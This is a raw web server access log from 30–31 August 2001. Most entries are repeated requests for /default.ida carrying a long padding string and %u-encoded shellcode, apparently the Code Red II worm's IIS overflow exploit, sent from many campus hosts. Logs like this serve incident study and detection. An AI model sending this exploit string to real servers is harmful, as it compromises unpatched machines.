/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 21:26:20: dynamic-207-230.dyn.columbia.edu [128.59.207.230] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 21:27:38: [210.15.79.89] "GET http://www.yahoo.com/ HTTP/1.1" 20010830 21:34:24: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 21:40:54: [210.15.79.89] "GET http://www.yahoo.com/ HTTP/1.1" 20010830 21:41:12: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 21:43:36: dynamic-207-230.dyn.columbia.edu [128.59.207.230] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 21:47:27: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 22:09:59: [128.134.66.105] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 22:14:08: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 22:17:27: dialup-cc2-16.cc.columbia.edu [128.59.58.121] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 22:22:56: dynamic-207-230.dyn.columbia.edu [128.59.207.230] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 22:29:17: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 22:38:06: dialup-cc3-62.cc.columbia.edu [128.59.42.167] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 22:53:02: dynamic-207-230.dyn.columbia.edu [128.59.207.230] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 23:17:27: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 23:27:24: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 23:28:06: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 23:45:24: dialup-ccts5-147.cc.columbia.edu [128.59.6.156] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 23:53:56: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 23:59:06: max2-11-107.njit.edu [128.235.11.107] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 00:15:46: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 00:15:50: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 00:16:49: [211.23.51.210] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 00:23:23: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 00:44:35: dynamic-207-230.dyn.columbia.edu [128.59.207.230] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 00:59:57: dhcp-128-194-24-114.resnet.tamu.edu [128.194.24.114] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 01:02:41: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 01:04:24: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 01:15:54: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 01:36:04: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 01:40:52: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 01:46:01: [128.249.253.5] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 01:55:04: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 02:01:57: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 02:24:08: [128.238.241.147] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 02:37:05: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 02:46:05: dynamic-207-230.dyn.columbia.edu [128.59.207.230] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 02:52:12: dynamic-207-230.dyn.columbia.edu [128.59.207.230] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 02:55:54: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 03:15:09: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010831 03:28:33: bus205-176.gsb.columbia.edu [128.59.205.176] "GET 